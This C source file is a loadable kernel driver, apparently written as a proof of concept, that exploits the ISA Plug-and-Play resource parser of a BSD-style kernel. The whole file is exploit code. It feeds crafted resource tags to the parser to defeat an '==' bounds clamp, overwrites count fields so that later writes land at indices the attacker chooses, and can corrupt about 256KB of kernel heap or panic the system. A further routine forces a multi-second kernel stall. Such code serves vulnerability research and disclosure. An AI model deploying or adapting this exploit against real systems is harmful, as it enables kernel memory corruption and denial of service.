DF-5392 / pnphack.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 | /* * pnphack.c — pass-2 verification harness for the ISA PnP config-count * poisoning chain (sys/bus/isa/isa_common.c / pnp.c / pnpparse.c). * * Loads as a driver on the isa bus. isa_driver_added() (isa_common.c:816) * invokes our identify routine with the bus already attached (isa_running=1), * which: * * 1. child_p51: isa child claiming SB16 PnP ids (vendor 0x26008c0e, * logical 0x21008c0e) + pnp_parse_resources() fed a crafted stream of * 17 IO_RANGE tags. Each tag writes 1 port descriptor and * pnp_check_quirks() appends 2 more (PNP_QUIRK_EXTRA_IO 0x400/0x800), * so ic_nport walks 0 -> 51, skipping pnpparse.c's * `ic_nport == ISA_NPORT' clamp (== 50 never true). Stored config * keeps ic_nport = 51 > ISA_NPORT: clamp defeated, poisoned config * persisted by isa_add_config() with no validation. * * 2. child_p61: an 18th IO_RANGE tag writes ic_port[51], which aliases * ic_nmem/ic_nport/ic_nirq/ic_ndrq (offset 944..959 of struct * isa_config). ir_end (= attacker endbase) lands in ic_nport; the * following ++ and quirk appends then write ic_port[] at attacker * chosen indices (POISON_V, POISON_V+1, ... + EXTRA_TAGS more). * Run-A keeps all indices inside the 8640-byte configs[] allocation * (safe, provable by dump). Run-B (POISON_V=0x4000) writes ~256KB * past it -> kernel heap corruption / panic. * * 3. child_stall + child_block: single 4MB MEMORY32_RANGE window fully * covered by a resource held by child_block -> isa_find_memory() * iterates every candidate at align=1 (unbounded candidate loop, * isa_common.c:128-148) -> measurable multi-second kernel stall. * * After identify returns, isa_driver_added()'s real child loop runs * isa_assign_resources() on each child (the isa_common.c consumer path). */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/bus.h> #include <sys/malloc.h> #include <sys/queue.h> #include <sys/time.h> #include <sys/rman.h> #include <bus/isa/isavar.h> #include <bus/isa/pnpvar.h> #include <bus/isa/isa_common.h> #ifndef POISON_V #define POISON_V 60 /* post-clobber ic_nport becomes POISON_V+1 */ #endif #ifndef EXTRA_TAGS #define EXTRA_TAGS 4 /* sequential attacker writes after clobber */ #endif #define SB16_VENDOR 0x26008c0e #define SB16_LOGICAL 0x21008c0e #define STALL_BASE 0xE0000000u #define STALL_LEN 0x00400000u /* 4MB window, align=1 -> 4M iterations */ static struct timeval t_ident; /* * Crafted PnP resource byte stream. */ static u_char stream[16384]; static int stream_len; static void put8(u_char v) { stream[stream_len++] = v; } static void put16(u_int v) { put8(v & 0xff); put8((v >> 8) & 0xff); } static void put32(u_int32_t v) { put8(v & 0xff); put8((v >> 8) & 0xff); put8((v >> 16) & 0xff); put8((v >> 24) & 0xff); } /* small tag 0x8 (IO_RANGE), 7 bytes: info, minbase16, rangebase16, align, size */ static void put_io_range(u_int base, u_int endbase, u_int align, u_int size) { put8(0x47); /* (8 << 3) | 7 */ put8(0x01); /* 16-bit decode */ put16(base); /* res[1..2] -> ir_start */ put16(endbase); /* res[3..4] -> ir_end = endbase + size - 1 */ put8(align); /* res[5] -> ir_align */ put8(size); /* res[6] -> ir_size */ } /* large tag 5 (MEMORY32_RANGE), 17 bytes */ static void put_mem32(u_int32_t base, u_int32_t endbase, u_int32_t align, u_int32_t size) { put8(0x85); /* (1 << 7) | 5 */ put16(17); put8(0); /* res[0] info */ put32(base); /* res[1..4] -> ir_start */ put32(endbase); /* res[5..8] -> ir_end = endbase + size - 1 */ put32(align); /* res[9..12] -> ir_align */ put32(size); /* res[13..16]-> ir_size */ } static void put_end(void) { put8(0x78); /* small tag 0xf (END), len 0 */ } static void dump_configs(const char *tag, device_t child) { struct isa_device *idev = device_get_ivars(child); struct isa_config_entry *ice; int n = 0; TAILQ_FOREACH(ice, &idev->id_configs, ice_link) { kprintf("PNPHACK[%s]: ice[%d] prio=%d nmem=%d nport=%d " "nirq=%d ndrq=%d\n", tag, n, ice->ice_priority, ice->ice_config.ic_nmem, ice->ice_config.ic_nport, ice->ice_config.ic_nirq, ice->ice_config.ic_ndrq); if (n == 0) { struct isa_config *c = &ice->ice_config; int i; for (i = 47; i < 64 && i < c->ic_nport + 4; i++) kprintf("PNPHACK[%s]: ic_port[%d] " "start=%#x end=%#x size=%#x align=%#x\n", tag, i, c->ic_port[i].ir_start, c->ic_port[i].ir_end, c->ic_port[i].ir_size, c->ic_port[i].ir_align); kprintf("PNPHACK[%s]: ISA_NPORT=%d ISA_NMEM=%d " "(ic_port[51] aliases the count fields)\n", tag, ISA_NPORT, ISA_NMEM); } n++; } if (n == 0) kprintf("PNPHACK[%s]: no configs stored\n", tag); } static void pnphack_config_cb(void *arg, struct isa_config *config, int enable) { struct timeval tv; getmicrotime(&tv); kprintf("PNPHACK: config_cb(%s) enable=%d nmem=%d nport=%d nirq=%d " "ndrq=%d t=%ld.%06ld (+%lld usec since identify)\n", (const char *)arg, enable, config->ic_nmem, config->ic_nport, config->ic_nirq, config->ic_ndrq, (long)tv.tv_sec, (long)tv.tv_usec, (long long)(1000000LL * (tv.tv_sec - t_ident.tv_sec) + (tv.tv_usec - t_ident.tv_usec))); } static void add_pnp_child(device_t parent, const char *tag, int variant) { device_t child; int i; child = BUS_ADD_CHILD(parent, parent, ISA_ORDER_PNP, NULL, -1); if (child == NULL) { kprintf("PNPHACK[%s]: BUS_ADD_CHILD failed\n", tag); return; } BUS_WRITE_IVAR(parent, child, ISA_IVAR_VENDORID, SB16_VENDOR); BUS_WRITE_IVAR(parent, child, ISA_IVAR_LOGICALID, SB16_LOGICAL); ISA_SET_CONFIG_CALLBACK(parent, child, pnphack_config_cb, __DECONST(char *, tag)); stream_len = 0; /* * 17 IO_RANGE tags: ic_nport 0 -> 51 (1 + 2 quirk appends each), * index 50 == ISA_NPORT never observed by the `==' clamp. */ for (i = 0; i < 17; i++) put_io_range(0x200, 0x200, 1, 8); if (variant >= 1) { /* * 18th tag writes ic_port[51]: ir_start -> ic_nmem, * ir_end (= endbase) -> ic_nport, then ir_size/ir_align are * written through the *clobbered* ic_nport at ic_port[POISON_V], * and the quirk appends write ic_port[POISON_V+1/+2]. */ put_io_range(0x300, POISON_V, 1, 1); for (i = 0; i < EXTRA_TAGS; i++) put_io_range(0x220 + i * 0x10, 0x220 + i * 0x10, 1, 8); } put_end(); kprintf("PNPHACK[%s]: crafted stream %d bytes, parsing " "(POISON_V=%#x EXTRA_TAGS=%d)...\n", tag, stream_len, POISON_V, EXTRA_TAGS); pnp_parse_resources(child, stream, stream_len, 0); kprintf("PNPHACK[%s]: parse done\n", tag); dump_configs(tag, child); } static void add_stall_children(device_t parent) { device_t stall, block; struct resource *r; int rid; stall = BUS_ADD_CHILD(parent, parent, ISA_ORDER_PNP, NULL, -1); if (stall == NULL) { kprintf("PNPHACK[stall]: BUS_ADD_CHILD failed\n"); return; } ISA_SET_CONFIG_CALLBACK(parent, stall, pnphack_config_cb, __DECONST(char *, "stall")); stream_len = 0; /* one 4MB memory window, size=1, align=1 */ put_mem32(STALL_BASE, STALL_BASE + STALL_LEN - 1, 1, 1); put_end(); pnp_parse_resources(stall, stream, stream_len, 0); dump_configs("stall", stall); /* blocker child created LAST: holds the whole window claimed */ block = BUS_ADD_CHILD(parent, parent, ISA_ORDER_PNP, NULL, -1); if (block == NULL) { kprintf("PNPHACK[block]: BUS_ADD_CHILD failed\n"); return; } rid = 0; BUS_SET_RESOURCE(parent, block, SYS_RES_MEMORY, 0, STALL_BASE, STALL_LEN, -1); r = BUS_ALLOC_RESOURCE(parent, block, SYS_RES_MEMORY, &rid, 0, ~0, 1, 0 /* !RF_ACTIVE */, -1); kprintf("PNPHACK[block]: window [%#x-%#x] held: %s\n", STALL_BASE, STALL_BASE + STALL_LEN - 1, r ? "YES" : "NO"); } static void pnphack_identify(driver_t *driver, device_t parent) { if (device_get_unit(parent) != 0) return; getmicrotime(&t_ident); kprintf("PNPHACK: identify on %s%d (state=%d)\n", device_get_name(parent), device_get_unit(parent), device_get_state(parent)); add_pnp_child(parent, "p51", 0); /* == clamp defeated, nport=51 */ add_pnp_child(parent, "p61", 1); /* count fields clobbered */ add_stall_children(parent); kprintf("PNPHACK: identify done; isa_driver_added will now run " "isa_assign_resources() on the children\n"); } static int pnphack_probe(device_t dev) { kprintf("PNPHACK: probe\n"); return ENXIO; } static device_method_t pnphack_methods[] = { DEVMETHOD(device_identify, pnphack_identify), DEVMETHOD(device_probe, pnphack_probe), DEVMETHOD_END }; static driver_t pnphack_driver = { "pnphack", pnphack_methods, 1, /* no softc */ }; static devclass_t pnphack_devclass; DRIVER_MODULE(pnphack, isa, pnphack_driver, pnphack_devclass, NULL, NULL); |